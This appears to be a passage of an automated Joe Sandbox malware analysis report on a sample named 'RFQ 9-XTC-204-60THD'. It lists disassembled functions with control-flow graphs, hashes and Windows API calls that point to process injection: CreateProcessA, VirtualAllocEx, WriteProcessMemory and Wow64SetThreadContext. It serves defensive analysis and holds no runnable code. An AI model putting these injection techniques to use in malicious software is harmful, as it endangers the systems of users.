                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7ad93b0874c8916e35a3d18b48bb1f21541d48949490a325f12bb467fceb2963
                                                                                                      • Instruction ID: b99f79584e39716ee6717d4742dd3ac819224a30712ae5d1df456a157ab01dc0
                                                                                                      • Opcode Fuzzy Hash: 7ad93b0874c8916e35a3d18b48bb1f21541d48949490a325f12bb467fceb2963
                                                                                                      • Instruction Fuzzy Hash: 9721F5B1D056189BEB18CF9AD84479EFBF7BFC8300F04C5AAD808AA254DB750A468F40
                                                                                                      Function 025EE9E0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      APIs
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 025EEA5E
                                                                                                      • GetCurrentThread.KERNEL32 ref: 025EEA9B
                                                                                                      • GetCurrentProcess.KERNEL32 ref: 025EEAD8
                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 025EEB31
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540345529.00000000025E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025E0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_25e0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Current$ProcessThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 2063062207-0
                                                                                                      • Opcode ID: ecfcc3149a606d8e8aad3d13c7e19b28cb59aed42c71ab229be2f85188088241
                                                                                                      • Instruction ID: 3591a0913b6487357f9bccadfc79858d974bdb72345010e859ece66d59e5fd12
                                                                                                      • Opcode Fuzzy Hash: ecfcc3149a606d8e8aad3d13c7e19b28cb59aed42c71ab229be2f85188088241
                                                                                                      • Instruction Fuzzy Hash: 5A5157B09103098FDB14CFAAD549BEEBBF5FF88314F208459E409A72A0DB745984CF65
                                                                                                      Function 0603EBC8 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1138 603ebc8-603ec38 1140 603ec71-603ec91 1138->1140 1141 603ec3a-603ec44 1138->1141 1146 603ec93-603ec9d 1140->1146 1147 603ecca-603ed04 1140->1147 1141->1140 1142 603ec46-603ec48 1141->1142 1144 603ec6b-603ec6e 1142->1144 1145 603ec4a-603ec54 1142->1145 1144->1140 1148 603ec56 1145->1148 1149 603ec58-603ec67 1145->1149 1146->1147 1150 603ec9f-603eca1 1146->1150 1157 603ed06-603ed10 1147->1157 1158 603ed3d-603edb2 CreateProcessA 1147->1158 1148->1149 1149->1149 1151 603ec69 1149->1151 1152 603eca3-603ecad 1150->1152 1153 603ecc4-603ecc7 1150->1153 1151->1144 1155 603ecb1-603ecc0 1152->1155 1156 603ecaf 1152->1156 1153->1147 1155->1155 1159 603ecc2 1155->1159 1156->1155 1157->1158 1160 603ed12-603ed14 1157->1160 1168 603edb4-603edba 1158->1168 1169 603edbb-603ee03 1158->1169 1159->1153 1162 603ed37-603ed3a 1160->1162 1163 603ed16-603ed20 1160->1163 1162->1158 1164 603ed22 1163->1164 1165 603ed24-603ed33 1163->1165 1164->1165 1165->1165 1166 603ed35 1165->1166 1166->1162 1168->1169 1174 603ee13-603ee17 1169->1174 1175 603ee05-603ee09 1169->1175 1177 603ee27-603ee2b 1174->1177 1178 603ee19-603ee1d 1174->1178 1175->1174 1176 603ee0b 1175->1176 1176->1174 1180 603ee3b 1177->1180 1181 603ee2d-603ee31 1177->1181 1178->1177 1179 603ee1f 1178->1179 1179->1177 1183 603ee3c 1180->1183 1181->1180 1182 603ee33 1181->1182 1182->1180 1183->1183
                                                                                                      APIs
                                                                                                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0603EDA2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CreateProcess
                                                                                                      • String ID:
                                                                                                      • API String ID: 963392458-0
                                                                                                      • Opcode ID: 80fc05c4f6e065cd44dacd05e96e94d1278744524a2dc8731fcb2512e366dd7b
                                                                                                      • Instruction ID: 68908bf34f3c13e94c13c2e6bf303813658504ba9c35ec53eb55136e7cfdf584
                                                                                                      • Opcode Fuzzy Hash: 80fc05c4f6e065cd44dacd05e96e94d1278744524a2dc8731fcb2512e366dd7b
                                                                                                      • Instruction Fuzzy Hash: 80812A71D102599FDB90CFA9C8817EDBFF6BF48311F14862AE855A7240D7759881CF81
                                                                                                      Function 0603EBBD Relevance: 1.7, APIs: 1, Instructions: 200processCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1184 603ebbd-603ec38 1186 603ec71-603ec91 1184->1186 1187 603ec3a-603ec44 1184->1187 1192 603ec93-603ec9d 1186->1192 1193 603ecca-603ed04 1186->1193 1187->1186 1188 603ec46-603ec48 1187->1188 1190 603ec6b-603ec6e 1188->1190 1191 603ec4a-603ec54 1188->1191 1190->1186 1194 603ec56 1191->1194 1195 603ec58-603ec67 1191->1195 1192->1193 1196 603ec9f-603eca1 1192->1196 1203 603ed06-603ed10 1193->1203 1204 603ed3d-603edb2 CreateProcessA 1193->1204 1194->1195 1195->1195 1197 603ec69 1195->1197 1198 603eca3-603ecad 1196->1198 1199 603ecc4-603ecc7 1196->1199 1197->1190 1201 603ecb1-603ecc0 1198->1201 1202 603ecaf 1198->1202 1199->1193 1201->1201 1205 603ecc2 1201->1205 1202->1201 1203->1204 1206 603ed12-603ed14 1203->1206 1214 603edb4-603edba 1204->1214 1215 603edbb-603ee03 1204->1215 1205->1199 1208 603ed37-603ed3a 1206->1208 1209 603ed16-603ed20 1206->1209 1208->1204 1210 603ed22 1209->1210 1211 603ed24-603ed33 1209->1211 1210->1211 1211->1211 1212 603ed35 1211->1212 1212->1208 1214->1215 1220 603ee13-603ee17 1215->1220 1221 603ee05-603ee09 1215->1221 1223 603ee27-603ee2b 1220->1223 1224 603ee19-603ee1d 1220->1224 1221->1220 1222 603ee0b 1221->1222 1222->1220 1226 603ee3b 1223->1226 1227 603ee2d-603ee31 1223->1227 1224->1223 1225 603ee1f 1224->1225 1225->1223 1229 603ee3c 1226->1229 1227->1226 1228 603ee33 1227->1228 1228->1226 1229->1229
                                                                                                      APIs
                                                                                                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0603EDA2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CreateProcess
                                                                                                      • String ID:
                                                                                                      • API String ID: 963392458-0
                                                                                                      • Opcode ID: 4c25381883792023cf71b41d136bd4361d9d2cfe87cb1a1700e72e259ee0d92d
                                                                                                      • Instruction ID: 9183f480f684aaacc76d32138c86609544dd52f55eafc16e1182d76f4742c4fa
                                                                                                      • Opcode Fuzzy Hash: 4c25381883792023cf71b41d136bd4361d9d2cfe87cb1a1700e72e259ee0d92d
                                                                                                      • Instruction Fuzzy Hash: 2B812571D002698FDB90CFA9C8817EDBFF6BF48311F14862AE855A7290D7759882CF81
                                                                                                      Function 060348C5 Relevance: 1.6, APIs: 1, Instructions: 144fileCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1230 60348c5-6034931 1232 6034933-603493d 1230->1232 1233 603496a-603498a 1230->1233 1232->1233 1234 603493f-6034941 1232->1234 1240 60349c3-6034a25 CopyFileA 1233->1240 1241 603498c-6034996 1233->1241 1235 6034943-603494d 1234->1235 1236 6034964-6034967 1234->1236 1238 6034951-6034960 1235->1238 1239 603494f 1235->1239 1236->1233 1238->1238 1242 6034962 1238->1242 1239->1238 1251 6034a27-6034a2d 1240->1251 1252 6034a2e-6034a76 1240->1252 1241->1240 1243 6034998-603499a 1241->1243 1242->1236 1245 60349bd-60349c0 1243->1245 1246 603499c-60349a6 1243->1246 1245->1240 1247 60349aa-60349b9 1246->1247 1248 60349a8 1246->1248 1247->1247 1249 60349bb 1247->1249 1248->1247 1249->1245 1251->1252 1257 6034a86-6034a8a 1252->1257 1258 6034a78-6034a7c 1252->1258 1260 6034a9a 1257->1260 1261 6034a8c-6034a90 1257->1261 1258->1257 1259 6034a7e 1258->1259 1259->1257 1263 6034a9b 1260->1263 1261->1260 1262 6034a92 1261->1262 1262->1260 1263->1263
                                                                                                      APIs
                                                                                                      • CopyFileA.KERNEL32(?,?,?), ref: 06034A15
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CopyFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 1304948518-0
                                                                                                      • Opcode ID: 282d45985127974ebf64d88b5b11e648c93567b84d6e9147030a327cfdc26bf6
                                                                                                      • Instruction ID: a2a133d1a9e9ec4087a6f3e2c96913ada1dacd257c853797b4c38a1bceed5388
                                                                                                      • Opcode Fuzzy Hash: 282d45985127974ebf64d88b5b11e648c93567b84d6e9147030a327cfdc26bf6
                                                                                                      • Instruction Fuzzy Hash: 13516A71D007698FDB50CFA8C9853AEBFF6EF48311F14862AD855EB284D7789941CB81
                                                                                                      Function 060348D0 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1264 60348d0-6034931 1266 6034933-603493d 1264->1266 1267 603496a-603498a 1264->1267 1266->1267 1268 603493f-6034941 1266->1268 1274 60349c3-6034a25 CopyFileA 1267->1274 1275 603498c-6034996 1267->1275 1269 6034943-603494d 1268->1269 1270 6034964-6034967 1268->1270 1272 6034951-6034960 1269->1272 1273 603494f 1269->1273 1270->1267 1272->1272 1276 6034962 1272->1276 1273->1272 1285 6034a27-6034a2d 1274->1285 1286 6034a2e-6034a76 1274->1286 1275->1274 1277 6034998-603499a 1275->1277 1276->1270 1279 60349bd-60349c0 1277->1279 1280 603499c-60349a6 1277->1280 1279->1274 1281 60349aa-60349b9 1280->1281 1282 60349a8 1280->1282 1281->1281 1283 60349bb 1281->1283 1282->1281 1283->1279 1285->1286 1291 6034a86-6034a8a 1286->1291 1292 6034a78-6034a7c 1286->1292 1294 6034a9a 1291->1294 1295 6034a8c-6034a90 1291->1295 1292->1291 1293 6034a7e 1292->1293 1293->1291 1297 6034a9b 1294->1297 1295->1294 1296 6034a92 1295->1296 1296->1294 1297->1297
                                                                                                      APIs
                                                                                                      • CopyFileA.KERNEL32(?,?,?), ref: 06034A15
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: CopyFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 1304948518-0
                                                                                                      • Opcode ID: 56cbe617479e9a9445deb684282b6572fb3b597d483cc81165e826b195f90424
                                                                                                      • Instruction ID: 6d2f4315d6e62fb153bd11a5d6183d29ab139c060df4693d02d57dd3e91474a1
                                                                                                      • Opcode Fuzzy Hash: 56cbe617479e9a9445deb684282b6572fb3b597d483cc81165e826b195f90424
                                                                                                      • Instruction Fuzzy Hash: 10517A71D007698FDB90CFA9C9857AEBFF6FF48311F14852AD854AB284D7789881CB81
                                                                                                      Function 072A5800 Relevance: 1.6, Strings: 1, Instructions: 353COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1298 72a5800-72a5812 1299 72a583c-72a5840 1298->1299 1300 72a5814-72a5835 1298->1300 1301 72a584c-72a585b 1299->1301 1302 72a5842-72a5844 1299->1302 1300->1299 1303 72a585d 1301->1303 1304 72a5867-72a5893 1301->1304 1302->1301 1303->1304 1308 72a5899-72a589f 1304->1308 1309 72a5ac0-72a5b07 1304->1309 1310 72a5971-72a5975 1308->1310 1311 72a58a5-72a58ab 1308->1311 1340 72a5b09 1309->1340 1341 72a5b1d-72a5b29 1309->1341 1313 72a5998-72a59a1 1310->1313 1314 72a5977-72a5980 1310->1314 1311->1309 1315 72a58b1-72a58be 1311->1315 1320 72a59a3-72a59c3 1313->1320 1321 72a59c6-72a59c9 1313->1321 1314->1309 1317 72a5986-72a5996 1314->1317 1318 72a5950-72a5959 1315->1318 1319 72a58c4-72a58cd 1315->1319 1322 72a59cc-72a59d2 1317->1322 1318->1309 1323 72a595f-72a596b 1318->1323 1319->1309 1324 72a58d3-72a58eb 1319->1324 1320->1321 1321->1322 1322->1309 1326 72a59d8-72a59eb 1322->1326 1323->1310 1323->1311 1327 72a58ed 1324->1327 1328 72a58f7-72a5909 1324->1328 1326->1309 1331 72a59f1-72a5a01 1326->1331 1327->1328 1328->1318 1335 72a590b-72a5911 1328->1335 1331->1309 1332 72a5a07-72a5a14 1331->1332 1332->1309 1337 72a5a1a-72a5a2f 1332->1337 1338 72a591d-72a5923 1335->1338 1339 72a5913 1335->1339 1337->1309 1349 72a5a35-72a5a58 1337->1349 1338->1309 1342 72a5929-72a594d 1338->1342 1339->1338 1343 72a5b0c-72a5b0e 1340->1343 1345 72a5b2b 1341->1345 1346 72a5b35-72a5b51 1341->1346 1347 72a5b52-72a5b7f call 72a1070 1343->1347 1348 72a5b10-72a5b1b 1343->1348 1345->1346 1360 72a5b81-72a5b87 1347->1360 1361 72a5b97-72a5b99 1347->1361 1348->1341 1348->1343 1349->1309 1355 72a5a5a-72a5a65 1349->1355 1358 72a5ab6-72a5abd 1355->1358 1359 72a5a67-72a5a71 1355->1359 1359->1358 1366 72a5a73-72a5a89 1359->1366 1362 72a5b8b-72a5b8d 1360->1362 1363 72a5b89 1360->1363 1384 72a5b9b call 72a5c18 1361->1384 1385 72a5b9b call 72a6dd8 1361->1385 1386 72a5b9b call 72a5c14 1361->1386 1362->1361 1363->1361 1365 72a5ba1-72a5ba5 1367 72a5bf0-72a5c00 1365->1367 1368 72a5ba7-72a5bbe 1365->1368 1370 72a5a8b 1366->1370 1371 72a5a95-72a5aae 1366->1371 1368->1367 1376 72a5bc0-72a5bca 1368->1376 1370->1371 1371->1358 1379 72a5bcc-72a5bdb 1376->1379 1380 72a5bdd-72a5bed 1376->1380 1379->1380 1384->1365 1385->1365 1386->1365
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: d
                                                                                                      • API String ID: 0-2564639436
                                                                                                      • Opcode ID: f2da784c3797ce8115923bbc0390e1d0f8a4b3c08980634811e0fe7ce218fce1
                                                                                                      • Instruction ID: 06d74e98f658fd904ed0f442908a7c3e77c1158d55fbc9e7daa0b9ccd3fd1892
                                                                                                      • Opcode Fuzzy Hash: f2da784c3797ce8115923bbc0390e1d0f8a4b3c08980634811e0fe7ce218fce1
                                                                                                      • Instruction Fuzzy Hash: BCD15870710706DFCB14CF29C484A6AB7F6FF89310B598969D45A9B362DB30F856CBA0
                                                                                                      Function 0603FC28 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1387 603fc28-603fc76 1389 603fc86-603fcc5 WriteProcessMemory 1387->1389 1390 603fc78-603fc84 1387->1390 1392 603fcc7-603fccd 1389->1392 1393 603fcce-603fcfe 1389->1393 1390->1389 1392->1393
                                                                                                      APIs
                                                                                                      • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0603FCB8
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessWrite
                                                                                                      • String ID:
                                                                                                      • API String ID: 3559483778-0
                                                                                                      • Opcode ID: 0972090ff8558b42df88f5bd46759987fc27be63bc701fd97a3c21fde2df7dfd
                                                                                                      • Instruction ID: 05c4e6b4d8fd11aa15ef2792c7dd4b613769b79b0384bb6d742836d902153015
                                                                                                      • Opcode Fuzzy Hash: 0972090ff8558b42df88f5bd46759987fc27be63bc701fd97a3c21fde2df7dfd
                                                                                                      • Instruction Fuzzy Hash: E0212775D013599FDB50CFAAC985BDEBBF5FF48310F10842AE918A7240D7799940CBA4
                                                                                                      Function 0603FC20 Relevance: 1.6, APIs: 1, Instructions: 67injectionCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1397 603fc20-603fc76 1399 603fc86-603fcc5 WriteProcessMemory 1397->1399 1400 603fc78-603fc84 1397->1400 1402 603fcc7-603fccd 1399->1402 1403 603fcce-603fcfe 1399->1403 1400->1399 1402->1403
                                                                                                      APIs
                                                                                                      • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0603FCB8
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProcessWrite
                                                                                                      • String ID:
                                                                                                      • API String ID: 3559483778-0
                                                                                                      • Opcode ID: 2e74eccf3268bc3eeef1584a51505daee2fd055bba7963e1aa4afbda919c4d78
                                                                                                      • Instruction ID: 591804fddeaa5ba83de8d0cace1e83da71420a62349b67fb581352da92be4c59
                                                                                                      • Opcode Fuzzy Hash: 2e74eccf3268bc3eeef1584a51505daee2fd055bba7963e1aa4afbda919c4d78
                                                                                                      • Instruction Fuzzy Hash: 4E2126B6D003598FDB50CFA9C9417EEBBF1BB48310F14882AE958A7250D7789A40CFA4
                                                                                                      Function 0603F388 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0603F406
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ContextThreadWow64
                                                                                                      • String ID:
                                                                                                      • API String ID: 983334009-0
                                                                                                      • Opcode ID: b5bfc0a9adaea94abe225edbb5df0375b7c9391f32f138b44cb8ee53b7b804b5
                                                                                                      • Instruction ID: 5c467672c0828db15e7ca679bf12d5e6ae9d0863b94c8b4e846e7d8548c1e825
                                                                                                      • Opcode Fuzzy Hash: b5bfc0a9adaea94abe225edbb5df0375b7c9391f32f138b44cb8ee53b7b804b5
                                                                                                      • Instruction Fuzzy Hash: 0F213571D003098FDB50DFAAC9857EEBBF4EF48324F14842AD559A7241CB789A84CFA5
                                                                                                      Function 025EF030 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 025EF0B7
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540345529.00000000025E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025E0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_25e0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID:
                                                                                                      • API String ID: 3793708945-0
                                                                                                      • Opcode ID: 94309083a9d1940d70432a14719a80fd4bc0f5c34325213d58f402a7e7d031f1
                                                                                                      • Instruction ID: 257ecb01e5fcd058e22e0f550d70b7d5ac1a174f372562d219a54c2fa8e06061
                                                                                                      • Opcode Fuzzy Hash: 94309083a9d1940d70432a14719a80fd4bc0f5c34325213d58f402a7e7d031f1
                                                                                                      • Instruction Fuzzy Hash: 6E21F5B59013489FDB10CFAAD884AEEFBF5FB48310F14801AE915A3350D375A940CFA5
                                                                                                      Function 0603F380 Relevance: 1.6, APIs: 1, Instructions: 61threadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0603F406
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ContextThreadWow64
                                                                                                      • String ID:
                                                                                                      • API String ID: 983334009-0
                                                                                                      • Opcode ID: 1f4499e497bc332b435a038e09b4543c62b96aa05d2eec46b6c10f8a1306dd14
                                                                                                      • Instruction ID: c8ec37499da83d81417a9ce76cfbbaef0f62255ad444a06bbd75e5f3c12325dc
                                                                                                      • Opcode Fuzzy Hash: 1f4499e497bc332b435a038e09b4543c62b96aa05d2eec46b6c10f8a1306dd14
                                                                                                      • Instruction Fuzzy Hash: 33217976D003098FDB50CFA9C5807EEBBF1AF48324F14842AD558A7281DB789A45CFA5
                                                                                                      Function 04849EF8 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 04849F74
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 544645111-0
                                                                                                      • Opcode ID: 0c7044fff9542326852d81155276503e81240fe788298136b5ef3b0b30704741
                                                                                                      • Instruction ID: bb49015f8ba3155aa7a7a8ff76dcfea8df9ed663ab21b18f054c712dec86f04e
                                                                                                      • Opcode Fuzzy Hash: 0c7044fff9542326852d81155276503e81240fe788298136b5ef3b0b30704741
                                                                                                      • Instruction Fuzzy Hash: F22134718043498FDB10DFAAC441BEFBBF5FF88320F11882AE559A7250C7799A418FA1
                                                                                                      Function 04849F00 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 04849F74
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 544645111-0
                                                                                                      • Opcode ID: d98c57fb04956e1aa2b02d3390bd51d882fc9279bf59ac6f37aba950b8f8c80a
                                                                                                      • Instruction ID: 6fe214dc6a570c288ff0c181d3190984f1ce0311ea0a1b1fd0c731e2817e9250
                                                                                                      • Opcode Fuzzy Hash: d98c57fb04956e1aa2b02d3390bd51d882fc9279bf59ac6f37aba950b8f8c80a
                                                                                                      • Instruction Fuzzy Hash: C52115718003499FDB10DFAAC444BEFBBF5EF88320F14842AE519A7250D779A9448FA5
                                                                                                      Function 06DCF438 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualProtect.KERNEL32(?,?,?,?), ref: 06DCF4AC
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573624475.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6dc0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 544645111-0
                                                                                                      • Opcode ID: 753143e7f960ffbc41672297a052deb1173756022e125064873f566704d51af0
                                                                                                      • Instruction ID: 7e347b2f024b8a5deb926d9512ad656b6dfc39400707f680215ad281ddd9f732
                                                                                                      • Opcode Fuzzy Hash: 753143e7f960ffbc41672297a052deb1173756022e125064873f566704d51af0
                                                                                                      • Instruction Fuzzy Hash: D211E3719043499BDB10DFAAC844BEEFBF5AF48320F14842AE519A7250C7799940CFA5
                                                                                                      Function 0603F981 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0603F9F6
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: 5c4b621c419badf043de22a816a0abeb6f51dc996ce6c4c7be6b775b9065d615
                                                                                                      • Instruction ID: cbeaaec87058b682ec04727a6b2d5c521dd10344580a3d49b28932703264d058
                                                                                                      • Opcode Fuzzy Hash: 5c4b621c419badf043de22a816a0abeb6f51dc996ce6c4c7be6b775b9065d615
                                                                                                      • Instruction Fuzzy Hash: 09112676D002499FDB10DFAAC8447DFBBF5EF48320F24845AE519A7650C7759941CFA0
                                                                                                      Function 0603F988 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0603F9F6
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4275171209-0
                                                                                                      • Opcode ID: 8e31cb5bd9b09a55739598f3840daa54c02f1a9a025ff448b08f6a4f7f1c46ae
                                                                                                      • Instruction ID: 78ba7cee0a75208349f14eeea0fa595c84078219234ba07231f0a58a0d816492
                                                                                                      • Opcode Fuzzy Hash: 8e31cb5bd9b09a55739598f3840daa54c02f1a9a025ff448b08f6a4f7f1c46ae
                                                                                                      • Instruction Fuzzy Hash: A31126768003499FDB10DFAAC844BDFBBF5EB48320F14841AE515A7250C7759540CFA4
                                                                                                      Function 025EC938 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • GetModuleHandleW.KERNEL32(00000000), ref: 025EC99E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540345529.00000000025E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025E0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
